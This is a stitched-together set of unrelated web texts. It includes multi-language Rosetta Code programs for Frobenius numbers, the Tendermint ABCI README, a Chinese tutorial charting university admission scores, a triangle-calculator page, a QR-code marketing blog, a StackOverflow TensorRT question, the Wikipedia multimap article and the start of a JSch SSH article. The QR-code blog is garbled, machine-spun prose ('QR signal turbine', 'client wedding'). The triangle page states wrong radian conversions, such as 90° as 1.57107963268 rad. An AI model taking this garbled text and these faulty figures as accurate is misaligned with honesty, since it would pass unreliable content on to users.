1、SSH(Secure Shell)主要有两大功能
二、JNA、Process和JSchJNA
JNA主要用于在Java程序中调用本地库的函数,而不是用于远程连接到其他系统。如果你的Java程序正在Linux系统上运行,你可以使用JNA来调用Linux的本地库函数,包括那些可以获取文件和文件夹路径的函数。然而,如果你的Java程序正在一个系统(如Windows)上运行,你不能使用JNA来连接到另一个系统(如Linux)。
如果你需要从一个运行在Windows上的Java程序连接到一个Linux系统,你可能需要使用其他的工具或库。例如,你可以使用SSH(安全壳层)来远程连接到Linux系统,然后执行命令来获取文件和文件夹的路径。在Java中,有一些库可以帮助你使用SSH,如JSch和Apache MINA SSHD。
简单理解JNA、Process和JSch
(Java Native Access)和Process类都是Java中与本地系统交互的工具。JNA允许Java代码直接调用本地(C/C++)库的函数,而Process类则允许Java代码启动和控制操作系统的进程,例如执行shell命令。(JNA和Process是Java调用系统(Windows、Linux等)的本地函数,或者三方程序)
JSch是一个Java库,它提供了SSH(Secure Shell)的Java实现,允许Java程序通过SSH协议连接到远程系统(如Linux)。一旦连接成功,你可以通过JSch执行远程命令,上传和下载文件,就像直接在远程系统上操作一样。(JSch则是Java连接系统(Windows、Linux等)的工具,比如连接上Linux后,相当于直接操作Linux一样)
三、Java使用SSH的包
3.1、JSch和Apache MINA SSHD
JSch和Apache MINA SSHD都是优秀的SSH库,它们各有优点,选择哪一个主要取决于你的具体需求。
JSch是一个成熟且广泛使用的库,它提供了SSH2的完整实现,包括SFTP,SCP,端口转发等功能。JSch的API相对简单,易于使用,而且JSch的社区活跃,有大量的教程和示例代码可供参考。
Apache MINA SSHD则是一个更现代的库,它基于Apache MINA,一个高性能的网络应用框架。MINA SSHD提供了SSH2的完整实现,包括SFTP,SCP,端口转发等功能。MINA SSHD的API设计更现代,更符合Java的编程习惯,而且MINA SSHD支持异步非阻塞IO,对于需要处理大量并发连接的应用来说,可能会有更好的性能。
总的来说,如果你需要一个简单易用,社区支持好的SSH库,JSch可能是一个不错的选择。如果你需要一个设计现代,支持异步非阻塞IO的SSH库,或者你已经在使用Apache MINA,那么MINA SSHD可能更适合你。
3.2、JSch的四种认证机制:
四、JSch实现登录Linux,远程命令执行、SFTP下载和上传文件
4.1、导包Jsch官方的包上次更新18年(本文使用)
// jsch包
implementation 'com.jcraft:jsch:0.1.55'
长期维护的jsch:https://github.com/mwiede/jsch
4.2、Jsch工具类
package com.cc.jschdemo.utils;
import com.jcraft.jsch.*;
import lombok.Data;
import org.apache.commons.lang3.StringUtils;
import org.springframework.http.HttpHeaders;
import org.springframework.stereotype.Component;
import javax.annotation.PreDestroy;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import java.util.*;
/**
* <p>JSch工具类</p>
* <li>交给spring管理:每个使用的地方都是单例,都是单独的这个类。(new 也可以)</li>
*
* <li>所有方法都没有关闭(连接、会话),需要使用方自己关闭</li>
*
* @author CC
* @since 2023/11/8
*/
@Data
@Component
public class JSchUtil {
//缓存session会话
private Session session;
//通道:执行命令
private ChannelExec channelExec;
//通道:SFTP
private ChannelSftp channelSftp;
//通道:执行复杂Shell命令
private ChannelShell channelShell;
//登陆Linux服务器
public void loginLinux(String username, String password, String host, Integer port) {
try {
//每次都会重新初始化session
if (Objects.isNull(session) || !session.isConnected()) {
JSch jsch = new JSch();
session = jsch.getSession(username, host, port);
session.setPassword(password);
// 配置Session参数
Properties config = new Properties();
// 不进行公钥的检查
config.put("StrictHostKeyChecking", "no");
session.setConfig(config);
// 设置连接超时时间(s/秒)
session.setTimeout(300);
}
if (!session.isConnected()) {
// 连接到远程服务器
session.connect();
}
}catch(Exception e){
throw new RuntimeException("连接Linux失败:" + e.getMessage());
}
}
//执行命令:可以多次执行,然后必须调用关闭接口
public String executeCommand(String command) {
StringBuilder result = new StringBuilder();
BufferedReader buf = null;
try {
//每次执行都创建新的通道
channelExec = (ChannelExec) session.openChannel("exec");
channelExec.setCommand(command);
//正确的流中没有数据就走错误流中去拿。
InputStream in = channelExec.getInputStream();
InputStream errStream = channelExec.getErrStream();
channelExec.connect();
buf = new BufferedReader(new InputStreamReader(in));
String msg;
while ((msg = buf.readLine()) != null) {
result.append(msg);
}
if (StringUtils.isBlank(result.toString())) {
buf = new BufferedReader(new InputStreamReader(errStream));
String msgErr;
while ((msgErr = buf.readLine()) != null) {
result.append(msgErr);
}
}
}catch(Exception e){
throw new RuntimeException("关闭连接失败(执行命令):" + e.getMessage());
}finally {
if (Objects.nonNull(buf)) {
try {
buf.close();
}catch(Exception e){
e.printStackTrace();
}
}
}
return result.toString();
}
/**
* 执行复杂shell命令
*
* @param cmds 多条命令
* @return 执行结果
* @throws Exception 连接异常
*/
public String execCmdByShell(List<String> cmds) {
String result = "";
try {
channelShell = (ChannelShell) session.openChannel("shell");
InputStream inputStream = channelShell.getInputStream();
channelShell.setPty(true);
channelShell.connect();
OutputStream outputStream = channelShell.getOutputStream();
PrintWriter printWriter = new PrintWriter(outputStream);
for (String cmd : cmds) {
printWriter.println(cmd);
}
printWriter.flush();
byte[] tmp = new byte[1024];
while (true) {
while (inputStream.available() > 0) {
int i = inputStream.read(tmp, 0, 1024);
if (i < 0) {
break;
}
String s = new String(tmp, 0, i);
if (s.contains("--More--")) {
outputStream.write((" ").getBytes());
outputStream.flush();
}
System.out.println(s);
}
if (channelShell.isClosed()) {
System.out.println("exit-status:" + channelShell.getExitStatus());
break;
}
//间隔1s后再执行
try {
Thread.sleep(1000);
} catch (Exception e) {
e.printStackTrace();
}
}
outputStream.close();
inputStream.close();
}catch(Exception e){
e.printStackTrace();
}
return result;
}
//下载除了云服务器的文件(你自己的服务器):因为云服务器,像阿里云服务器下载文件好像是一段一段给你的,不是一起给你。
public void downloadOtherFile(String remoteFileAbsolutePath, String fileName, HttpServletResponse response) {
try {
channelSftp = (ChannelSftp) session.openChannel("sftp");
channelSftp.connect();
//获取输入流
InputStream inputStream = channelSftp.get(remoteFileAbsolutePath);
//直接下载到本地文件
// channelSftp.get(remoteFileAbsolutePath, "D:\\Develop\\Test\\studio-3t-x64.zip");
response.setCharacterEncoding(StandardCharsets.UTF_8.name());
response.setContentType("application/octet-stream;charset=".concat(StandardCharsets.UTF_8.name()));
response.setHeader(HttpHeaders.ACCESS_CONTROL_EXPOSE_HEADERS, HttpHeaders.CONTENT_DISPOSITION);
response.setHeader(HttpHeaders.CONTENT_DISPOSITION,
"attachment; filename=".concat(
URLEncoder.encode(fileName, StandardCharsets.UTF_8.name())
));
ServletOutputStream out = response.getOutputStream();
// 从InputStream输入流读取数据 并写入到ServletOutputStream输出流
byte[] buffer = new byte[4096];
int bytesRead;
while ((bytesRead = inputStream.read(buffer)) != -1) {
out.write(buffer, 0, bytesRead);
}
out.flush();
out.close();
}catch(Exception e){
throw new RuntimeException("关闭连接失败(下载文件):" + e.getMessage());
}
}
//下载云服务器的文件(因为云服务器传文件是一段一段的,所以不能直接像操作我们的服务器一样直接下载)(阿里云为例)
public void downloadCloudServerFile(String remoteFileAbsolutePath, String fileName, HttpServletResponse response) {
try {
channelSftp = (ChannelSftp) session.openChannel("sftp");
channelSftp.connect();
//获取输入流
InputStream inputStream = channelSftp.get(remoteFileAbsolutePath);
//阿里云应该是断点续传,后面研究……
}catch(Exception e){
throw new RuntimeException("关闭连接失败(下载文件):" + e.getMessage());
}
}
//ls命令:获取文件夹的信息
public String ls(String path){
StringBuilder sb = new StringBuilder();
try {
channelSftp = (ChannelSftp) session.openChannel("sftp");
channelSftp.connect();
Vector ls = channelSftp.ls(path);
Iterator iterator = ls.iterator();
while (iterator.hasNext()) {
Object next = iterator.next();
System.out.println(next);
sb.append(next);
}
} catch (Exception e){
throw new RuntimeException(e.getMessage());
}
return sb.toString();
}
//关闭通道:释放资源
private void closeChannel(){
//不为空,且已经连接:关闭
if (Objects.nonNull(channelExec)) {
channelExec.disconnect();
}
if (Objects.nonNull(channelSftp)) {
channelSftp.disconnect();
}
if (Objects.nonNull(channelShell)) {
channelShell.disconnect();
}
}
/** 关闭通道、关闭会话:释放资源
* spring销毁前,关闭 所有会话 及 所有通道
*/
@PreDestroy
public void closeAll(){
System.out.println("我被销毁了。。。。。。。。。。。。。。。。。。。。。。");
this.closeChannel();
if (Objects.nonNull(session) && session.isConnected()) {
session.disconnect();
}
}
}
4.2、使用Jsch工具类:执行命令
4.2.1、执行简单命令
package com.cc.jschdemo.web.controller;
import com.cc.jschdemo.utils.JSchUtil;
import com.jcraft.jsch.ChannelExec;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import javax.annotation.Resource;
import java.io.InputStream;
import java.util.Arrays;
/**
* <p></p>
*
* @author CC
* @since 2023/11/8
*/
@RestController
@RequestMapping("/jsch")
public class JSchController {
@Resource
private JSchUtil jSchUtil;
/** <p>执行命令<p>
**/
@GetMapping
public String executeCommand() {
//登陆(默认只连接5分钟,5分钟后销毁)
jSchUtil.loginLinux("服务器账号", "服务器密码", "服务器IP", 服务器端口);
//一、执行命令
String mkdir = jSchUtil.executeCommand("mkdir ccc");
String docker = jSchUtil.executeCommand("docker");
String dockerPs = jSchUtil.executeCommand("docker ps");
System.out.println(mkdir);
System.out.println(docker);
System.out.println(dockerPs);
//执行完,关闭连接
jSchUtil.closeAll();
return docker;
}
}
结果:多了一个文件夹
4.2.2、执行复杂的shell命令
/** <p>执行命令<p>
**/
@PostMapping
public String execCmdByShell() {
//登陆(默认只连接5分钟,5分钟后销毁)
jSchUtil.loginLinux("服务器账号", "服务器密码", "服务器IP", 服务器端口);
//二、执行shell脚本(可以改造成传入的shell脚步)
jSchUtil.execCmdByShell(Arrays.asList("cd /", "ll" , "cd cc/", "mkdir ccccc222", "ll"));
//执行完,关闭连接
jSchUtil.closeAll();
return "docker";
}
结果
4.3、使用Jsch工具类:下载文件
4.3.1、普通服务器下载
//下载普通服务器的文件
@PutMapping
public void downloadOtherFile(HttpServletResponse response) {
//登陆(默认只连接5分钟,5分钟后销毁)
jSchUtil.loginLinux("服务器账号", "服务器密码", "服务器IP", 服务器端口);
//下载文件
jSchUtil.downloadOtherFile(
"/dev/libbb/studio-3t-x64.zip",
"studio-3t-x64.zip",
response
);
//执行完,关闭连接
jSchUtil.closeAll();
}
4.3.2、阿里云服务器下载
https://www.jb51.net/article/178581.htm
五、Hutool工具封装的JSch(推荐)
Hutool使用的是JSch连接池,推荐使用……
六、总结
参考:
https://www.jb51.net/article/264152.htm
https://www.jb51.net/article/264148.htm
到此这篇关于SpringBoot使用JSch操作Linux的文章就介绍到这了,更多相关SpringBoot使用JSch内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!
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|
__label__pos
| 0.973361 |
Paste the following code in the active theme’s functions.php:
/* if the product quantity is between X and X, display "plus que X en stock" in cart and checkout */
add_filter( 'woocommerce_cart_item_name', 'showing_stock_in_cart_items', 99, 3 );
function showing_stock_in_cart_items( $item_name, $cart_item, $cart_item_key ) {
// The WC_Product object
$product = $cart_item['data'];
if (empty($product)) {
return $item_name;
}
// Get the stock
$stock = $product->get_stock_quantity();
// When stock doesn't exist
if (empty($stock)) {
return $item_name;
}
// display the stock
if ($stock >= '1' && $stock <= '3') { /* was ($stock <= '3') */
$item_name .="
× " . $cart_item['quantity'] . "
" . '
'.__( "Plus que " .$stock. " en stock","woocommerce").'
'; } else { $item_name .="
× " . $cart_item['quantity'] . "
"; } return $item_name; }
Edit quantity (range) and text as needed.
Then, paste the following code in Appearance > Customize > Additional CSS:
/* remove native item quantity in checkout */
.woocommerce-checkout #order_review .product-quantity {
display: none;
}
/* remove stock function quantity in cart and mini-cart*/
.woocommerce-cart .cart_item .function-product-quantity,
.woocommerce-mini-cart .function-product-quantity {
display: none !important;
}
Source: https://stackoverflow.com/questions/59001052/woocommerce-show-stock-status-on-cart-page (+ additional edits made by myself)
|
__label__pos
| 0.988309 |
Take the 2-minute tour ×
Stack Overflow is a question and answer site for professional and enthusiast programmers. It's 100% free, no registration required.
Here's the code on JSFiddle.
I need a sentence to slide out to the left (out of view), change text to next line in story (next element in array) and slide back right, into place.
Also, I need to be able to have the whole thing repeat, but I expect that's just a matter of resetting i in the loop.
Can you help me?
HTML:
<p class="wrap"><span>Foo</span></p>
JS:
var stringArr = ['One','Two','Three'],
i = 0,
t = 2000;
for ( i ; i < 3 ; i++) {
$('.wrap span').delay(t).animate({'left': '+=200px'}, 'slow');
$('.wrap span').text(stringArr[i]).appendTo($('.wrap span'));
$('.wrap span').animate({'right': '+=200px'}, 'slow');
}
What am I doing wrong?
share|improve this question
3 Answers 3
up vote 1 down vote accepted
You can achieve it simply by animating the left property of a positioned container:
<div class="wrapper">
<div id="slider"></div>
</div>
with the following CSS (note position: relative for the slider):
.wrapper {
background-color: #ffbbbb;
width: 200px;
}
#slider {
width: 100%;
position: relative;
left: -100%;
}
This is the script I used in my fiddle:
var strings = "Lorem ipsum dolor sit amen".split(" "),
offset = 0,
delay = 1500,
slider = $("#slider");
var swap = function(element, strings, offset) {
element.text(strings[(offset++) % strings.length]);
element.animate({"left": "0%"});
element.delay(delay).animate({"left": "-100%"});
element.queue(function(next) {
swap(element, strings, offset);
next();
});
}
swap(slider, strings, offset);
share|improve this answer
This ran smooth from the start. Well done. Thanks. I've transfered my animation strategy to this one instead. Care to share now what you see wrong with setInterval()? – Ryan Dec 3 '12 at 20:42
Basically, whenever you pass a delay to an API, you should really consider it a hint: the environment (browser, virtual machine, or OS) will do its best to execute the callback as soon as the delay expires, but in a multiprocess context there can be no guarantee about when your function will actually be called - on a busy machine two or more calls may overlap and cause glitches. When this sort of synchronization is needed you'd better rely on a clock, or put your code in a loop. In this case I used a callback – Raffaele Dec 3 '12 at 21:10
var stringArr = ['One','Two','Three'],
i = 0,
t = 2000,
initialDelay = 150,
container = $(".wrap span"),
len = stringArr.length,
changer = function() {
var step = (++i)%len;
container.animate({'left': '+=200px'}, 'slow', function(){
container.text(stringArr[step]).animate({left: '-=200px'}, 'slow');
})
},
interval, stop = function(){
interval = interval !== undefined && clearInterval(interval);
}, start = function() {
stop();
interval = setInterval(changer, t);
};
setTimeout(function() {
changer();
start();
}, initialDelay);
1. You need to specify position for span otherwise left property won't affect it.
2. You can't append a node to itself. $("selector").appendTo($("selector")) throws dom exception.
3. You shouldn't animate left and right properties at the same time. It will stretch your element.
http://jsfiddle.net/tarabyte/hBSdf/10/
share|improve this answer
It doesn't really work as intended. Also, setInterval() is a wrong choice here because there is no guarantee on the function start/end times, so you'll end up with glitches when two or more animations overlap. You can easily experience it with a smaller t and a slower animation. The solution here is using callbacks or a queue – Raffaele Dec 1 '12 at 11:49
I notice the first time the page loads the animation looks choppy, but then it's fine. Any way to delay the start so that it looks great the first time? Also, how can I turn off the loop? – Ryan Dec 1 '12 at 12:09
@Ryan: check my edit. Use initalDelay for later start, and stop, start functions to relaunch changing. – Yury Tarabanko Dec 1 '12 at 12:18
@Raffaele: Actually it works. setInterval is precise enough provided that you are not going to win an oscar for best animation. :) – Yury Tarabanko Dec 1 '12 at 12:25
@YuryTarabanko don't know, maybe you improved the code but didn't update the fiddle - still doesn't work, neither on page load nor after you click "start": the slider doesn't even slide offscreen. If it worked, I'd be able to show you what's wrong with setInterval() even if you don't plan to win an Oscar :) – Raffaele Dec 1 '12 at 12:49
Still playing around with it but couple of things to start you off.
The animate() function in jQuery requires a CSS Map, specifically a position field or else it won't really work. You can see for yourself. I don't really know why exactly so if someone wants to jump in and explain why please do ><... to be more specific in the documentation it says:
The only required parameter is a map of CSS properties. This map is similar to the one that can be sent to the .css() method, except that the range of properties is more restrictive.
Another idea you want is use a callback so that once your animation completes, it can change the word, and then maybe move it back in place. I don't think the delay function is wrong but it is a lot less dynamic and if you are supposedly making a book, it'd be nice if the program just knew to do something after something was completed. Here is a Fiddle. Maybe when I wake up I'll add some more/edit my answer but just something to get you started/thinking :)
share|improve this answer
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Not the answer you're looking for? Browse other questions tagged or ask your own question.
|
__label__pos
| 0.915856 |
use strict; use warnings; package HTML::MasonX::Free::Component; { $HTML::MasonX::Free::Component::VERSION = '0.004'; } use parent 'HTML::Mason::Component::FileBased'; # ABSTRACT: a component with a "main" method, not just a bunch of text sub new { my ($class, %arg) = @_; my $default_method_to_call = delete $arg{default_method_to_call} || 'main'; my $self = $class->SUPER::new(%arg); $self->{default_method_to_call} = $default_method_to_call; return $self; } sub run { my $self = shift; $self->{mfu_count}++; $self->call_method($self->{default_method_to_call} => @_); } 1; __END__ =pod =head1 NAME HTML::MasonX::Free::Component - a component with a "main" method, not just a bunch of text =head1 VERSION version 0.004 =head1 OVERVIEW In concept, a Mason component is broken down into special blocks (like once, shared, init), methods, and subcomponents. When you render a Mason component, using it as a template, you aren't calling one of its methods or blocks. Instead, all the stray code and text that was found I all of those is concatenated together and run. This is sort of a mess. If you use HTML::MasonX::Free::Component as your component class instead, rendering the component will call its C
method instead of all that other junk. This component class extends HTML::Mason::Component::FileBased. If this is a problem because of your esoteric Mason configuration, don't panic. Just read the source. Seriously, it's tiny. This component class is meant to work well with L, which will let you throw a syntax exception if there's any significant content outside of blocks, and which can apply C to calls found when compiling. You can pass a C argument to the constructor for this class, but it's not all that easy to get where you need it, so maybe you should stick with the default: C
=head1 AUTHOR Ricardo Signes =head1 COPYRIGHT AND LICENSE This software is copyright (c) 2012 by Ricardo Signes. This is free software; you can redistribute it and/or modify it under the same terms as the Perl 5 programming language system itself. =cut
|
__label__pos
| 0.983965 |
Network and IoT security in a zero trust security model
You can never be too careful when it comes to network and IoT security. With a rapidly growing number of disparate devices being connected to corporate and industrial infrastructures, it’s better to be safe than sorry.
network IoT security
For network administrators it is no longer only about protecting laptops and PCs, but rather about managing a network comprised of a colorful palette of connected hardware including mobile and low-cost IoT devices. But how can you possibly keep your network secure when every device plays by its own rules? The answer is (relatively) simple: TRUST NO ONE!
This is where the concept of a “zero trust architecture” comes in, which is a security concept based on not trusting a device by default simply because it is part of your network. Instead, every device needs to authenticate itself for every connection it wants to establish. Given that any possible connection involves at least two parties, the authentication that is required here is called mutual authentication.
There are different communication protocols that make use of mutual authentication, such as SSH and TLS. But what these protocols have in common is that the authentication is based on unique device certificates. Without such a certificate, a device cannot authenticate itself.
How does a device get a certificate?
It all starts with the device having its own unique public-private keypair. To generate a certificate, the first step is sharing the public key from this pair with a Certificate Authority (CA). The CA will verify that the public key belongs to this device, by sending it a challenge. Only the device that possesses the corresponding private key will be able to successfully respond to this challenge. Now the CA knows that the public key belongs to the device, and it will create a certificate for it.
Once created, the certificate can be sent to the device, which is now able to use it in future authentication protocols on networks that consider the specific CA that has created the certificate a trusted source. This is something that makes the term “zero trust” a bit misleading. Even when you don’t trust the devices, there is something that you need to trust. In this case, the trust is based on the certificates and on the authority that provides them.
But there is another aspect that is important to consider: the private key. The private key is the foundation on which all the security is built. It’s what ties the certificate to the device because anyone who wants to check the authenticity of the certificate can do this by challenging the private key. And because this private key is so important, it should always be stored securely inside the device.
An attacker should never be able to read, alter or copy this private key, as that compromises the security of the entire network that the device is connected to. Keeping the private key private should be any device’s highest priority. And the network needs to trust (there’s that word again…) the device to be able to do so.
How is the private key stored securely on the device?
There are a few ways to do this, starting with the traditional use of secure hardware, like a Secure Element or a Trusted Platform Module. These are both secure chips that need to be added to the device and that take care of creating and securely storing keys. This is an acceptable solution for expensive devices such as phones and laptops but does not usually solve all security issues since limited parties have access to it. However, for low-cost IoT devices adding a secure chip to the bill of materials adds too much cost.
A more affordable solution is storing the key pair in the memory of one of the chips the device already needs anyway, like a microcontroller. In this case the key pair can be externally provisioned during manufacturing, or it can be internally generated (if the chip has an internal random number generator). The major downside of this option is that chips for IoT devices are not designed for securely storing keys. This means that there is a serious risk of the private key being compromised by a determined attacker with access to the device. On top of this, when keys are injected from the outside, the party that injects those keys is another entity that needs to be trusted to keep the secrets secret.
There is yet another an alternative to these traditional methods for generating and storing secret keys, and it’s based on physical unclonable functions (PUFs).
PUFs use deep submicron variations in the manufacturing process of chips to create device unique identifiers. This means that PUFs can generate cryptographic keys (like the key pair we require) from the silicon of chips. These keys are unique for every chip, and they never have to be stored in memory – they are simply (re-)generated every time they are needed. This eliminates the need for externally provisioning keys as well as for using dedicated hardware for protecting stored keys.
This is why the deployment of PUFs is gaining traction rapidly, especially for low-cost IoT devices. Using PUFs to create and protect the keys needed to generate device certificates provides the kind of trust that a zero-trust architecture requires.
Conclusion
Now that we have seen all different building blocks that are required to securely connect devices in a network, we can take a step back and see what we have learned.
It all starts on the device level, where the foundation of a zero-trust architecture is established by selecting the right way to provision the device with the keys that are the basis for its unique certificate. The method of choice will vary depending on the hardware of individual devices.
Different approaches provide different levels of security, but one thing that they all have in common is that they need to instill the appropriate level of trust that they will keep the private key private. When a device is equipped with a public-private key pair, a CA can provide the next piece of the puzzle by generating a certificate for the device. Once a device has this unique certificate, it is ready for the mutual authentication that is required to be allowed entrance in a secure way to a network built on a zero-trust architecture.
Combining the assurance that is provided by the way cryptographic keys are stored with the trust that needs to be placed in the CA, it is safe to state that, at least in this case, there is no “zero trust” without trust.
Share this
|
__label__pos
| 0.816484 |
Topics
allow
Varnish 5.1 always online
Recently I posted about Varnish with secure AWS S3 bucket as backend and I wanted to have the “always online” enabled, meaning you can take the backend offline while serving from Varnish cache.
Varnish with secure AWS S3 bucket as backend
Serving static contents from S3 is common, but using Varnish in front is a bit tricky. Especially if you want to keep the bucket secure and only serve from Varnish, here is a simple Varnish file to solve this problem.
First secure your bucket via IP policy:
{
"Version": "2012-10-17",
"Id": "S3PolicyId1",
"Statement": [
{
"Sid": "IPAllow",
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::example.bucket/*",
"Condition": {
"IpAddress": {
"aws:SourceIp": [
"5.6.7.8/32" //varnish ip
]
}
}
},
{
"Sid": "Explicit deny to ensure requests are allowed only from specific referer.",
"Effect": "Deny",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::example.bucket/*",
"Condition": {
"StringNotLike": {
"aws:Referer": [
"https://example.com/*"
]
}
}
}
]
}
Setup postgreSQL RDS using Ansible
Setting up PostgreSQL on RDS using ansible is a bit tricky because the main user on RDS is not a SUPERUSER and roles membership is not automatically granted for ex: “ERROR: must be member of role ..” is quite common. Here is a working solution:
Custom validation messages for sails js
//in api/models/User.js
function validationError(invalidAttributes, status, message) {
var WLValidationError = require('../../node_modules/sails/node_modules/waterline/lib/waterline/error/WLValidationError.js');
return new WLValidationError({
invalidAttributes: invalidAttributes,
status: status,
message: message
}
);
}
var User = {
attributes: {
//...
},
ownValidate:: function (values, update, cb) {
//example of not allowed param on update
//if it is an update then do not allow email param
if (update && values.email) {
return cb(validationError({
email: [
{
message: 'Email is not allowed for updates.'
}
]
}, 400 /*status*/));
}
sails.models['user'].findOne(values.email).exec(function (err, user) {
if (err) return cb(err);
if (user) {
return cb(validationError({
email: [
{
value: values.email,
rule: 'E_UNIQUE'
/* unique validation message is left for the default one here */
}
]
}, 409));
}
});
},
beforeCreate: function (values, cb) {
return sails.models['user'].ownValidate(values, false, cb);
},
beforeUpdate: function (values, cb) {
return sails.models['user'].ownValidate(values, true, cb);
}
}
For blueprint custom messages validation
Nginx Error Log Reader
Nginx Error Log Reader is a php reader/parser/analyzer for Nginx error log file. the script is able to read error logs recursively then display them in a user friendly table. Script configuration includes the number of bytes to read per page and allow pagination through the error log . Additionally, table columns are sortable and full description of every error is displayed using MonnaTip.
For banning Ips, please refer to this post Using iptables to block ips that spam or attack your server
|
__label__pos
| 0.997542 |
Generate a timestamp
Common Date Formats
Timestamp
2038957562
Atom
2034-08-12T01:06:02+00:00
W3C
2034-08-12T01:06:02+00:00
ISO 8601
2034-08-12T01:06:02+0000
RFC 2822
Sat, 12 Aug 2034 01:06:02 +0000
Future Dates
+ 1 Hour
2038961162
+ 1 Day
2039043962
+ 1 Month
2041635962
+ 1 Year
2070493562
+ 10 Years
2354576762
Past Dates
- 1 Hour
2038953962
- 1 Day
2038871162
- 1 Month
2036279162
- 1 Year
2007421562
- 10 Years
1723424762
Why would I need to convert a date to a timestamp?
Timestamps are commonly used in computer systems and databases to record and track events with a high degree of accuracy. A timestamp represents a specific point in time, typically measured as the number of seconds that have elapsed since a specific starting point (the "epoch").
Converting a date to a timestamp can be useful in various scenarios. For example, if you need to compare two events that occurred at different times, converting their respective dates to timestamps can help you determine which event occurred first. Timestamps can also be used to generate unique identifiers or to sort and filter data in a database based on time-related criteria. Additionally, timestamps are commonly used in programming and web development to record the time a specific action occurred or to track how long a process took to execute.
Overall, converting a date to a timestamp is a useful tool that can help you accurately record and track events over time, making it an essential tool for developers, data analysts, and anyone who needs to work with time-related data.
|
__label__pos
| 0.909234 |
4. Find the square root of each of the following (1) 13.69 (11) 0.002025 (v) 6146.56 (vi) 1.024144 (iii) 1.5129
Question
4. Find the square root of each of the following
(1) 13.69
(11) 0.002025
(v) 6146.56
(vi) 1.024144
(iii) 1.5129
(iv) 20.7936
in progress 0
Kennedy 2 months 2021-11-10T20:59:14+00:00 1 Answer 0 views 0
Answers ( )
0
2021-11-10T21:00:18+00:00
Answer:
1. 3.7
2. 0.045
3. 78.4
4. 1.012
5. 1.23
6. 4.56
this is the square root of the given squares
Leave an answer
Browse
14:4+1-6*5-7*14:3+5 = ? ( )
|
__label__pos
| 0.911783 |
Information Security Stack Exchange is a question and answer site for information security professionals. Join them; it only takes a minute:
Sign up
Here's how it works:
1. Anybody can ask a question
2. Anybody can answer
3. The best answers are voted up and rise to the top
I'm tasked with creating database tables in Oracle which contain encrypted strings (i.e., the columns are RAW). The strings are encrypted by the application (using AES, 128-bit key) and stored in Oracle, then later retrieved from Oracle and decrypted (i.e., Oracle itself never sees the unencrypted strings).
I've come across this one column that will be one of two strings. I'm worried that someone will notice and presumably figure out what those two values to figure out the AES key.
For example, if someone sees that the column is either Ciphertext #1 or #2:
• Ciphertext #1:
BF,4F,8B,FE, 60,D8,33,56, 1B,F2,35,72, 49,20,DE,C6.
• Ciphertext #2:
BC,E8,54,BD, F4,B3,36,3B, DD,70,76,45, 29,28,50,07.
and knows the corresponding Plaintexts:
• Plaintext #1 ("Detroit"):
44,00,65,00, 74,00,72,00, 6F,00,69,00, 74,00,00,00.
• Plaintext #2 ("Chicago"):
43,00,68,00, 69,00,63,00, 61,00,67,00, 6F,00,00,00.
can he deduce that the encryption key is "Buffalo"?
42,00,75,00, 66,00,66,00, 61,00,6C,00, 6F,00,00,00.
I'm thinking that there should be only one 128-bit key that could convert Plaintext #1 to Ciphertext #1. Does this mean I should go to a 192-bit or 256-bit key instead, or find some other solution?
(As an aside, here are two other ciphertexts for the same plaintexts but with a different key.)
• Ciphertext #1 A ("Detroit"):
E4,28,29,E3, 6E,C2,64,FA, A1,F4,F4,96, FC,18,4A,C5.
• Ciphertext #2 A ("Chicago"):
EA,87,30,F0, AC,44,5D,ED, FD,EB,A8,79, 83,59,53,B7.
[Related question: When using AES and CBC, can the IV be a hash of the plaintext?]
share|improve this question
migrated from programmers.stackexchange.com Jul 16 '11 at 17:35
This question came from our site for professional programmers interested in conceptual questions about software development.
What mode are you using? If a stream mode such as CTR, you could get yourself into a situation where the key is not recoverable, but the plain text is recoverable. – jww Aug 23 '13 at 21:53
I am adding an answer as a community wiki because I believe that the accepted answer is dangerously misleading. Here's my reasoning:
The question is asking about being able to derive the AES keys. In that regard the accepted answer is correct: that is called a Known-plaintext Attack, and AES is resistant to that kind of attack. So an attacker will not be able to leverage this to derive the key and make off with the whole database.
But there is another, potentially dangerous attack at play here: a Ciphertext Indistinguishablity Attack. From Wikipedia:
Ciphertext indistinguishability is a property of many encryption schemes. Intuitively, if a cryptosystem possesses the property of indistinguishability, then an adversary will be unable to distinguish pairs of ciphertexts based on the message they encrypt.
The OP showed us that this column holds one of two possible values, and since the encryption is deterministic (ie does not use a random IV), and attacker can see which rows have the same value as each other. All the attacker has to do is figure out the plaintext for that column for a single row, and they've cracked the encryption on the entire column. Bad news if you want that data to stay private - which I'm assuming is why you encrypted it in the first place.
Mitigation: To protect against this, make your encryption non-deterministic (or at least appear non-deterministic to the attacker) so that repeated encryptions of the same plaintext yields different cipher texts. You can for example do this by using AES in Cipher Block Chaining (CBC) mode with a random Initialization Vector (IV). Use a secure random number generator to generate a new IV for each row and store the IV in the table. This way, without the key, the attacker can not tell which rows have matching plaintext.
share|improve this answer
My own answer, currently accepted, is a tad old and I wasn't aware of Ciphertext Indistinguishablity Attack at the time. I'd delete my own but it looks like I can't delete an accepted answer. – Vitor Py Jun 4 at 12:04
@VitorPy Wow. I respect you for that. – Mike Ounsworth Jun 4 at 12:04
1
@VitorPy You can probably flag it for moderator attention to have it un-accepted (in which case, leave it up for historical reasons). – Mike Ounsworth Jun 4 at 12:05
2
@VitorPy actually moderators have no ability to unaccept an answer (and don't we often wish we did!) You can comment on the question to the OP, and get him to swap it. That said, I don't think your answer is wrong per se (the key is still unretrievable, which is what was asked), it is just incomplete wrt what Mike is raising here. – AviD Jun 4 at 19:58
For a block cipher with a n-bit key, if, given a plaintext block and the corresponding ciphertext, the key can be guessed in less than 2n-1 step on average, then that block cipher will be said to be "broken" and cryptographers will make a point of not using it. The AES is not broken (yet). So no worry.
A few things may still be said, though:
• Having a plaintext and the corresponding ciphertext allows an attacker to verify a potential key value.
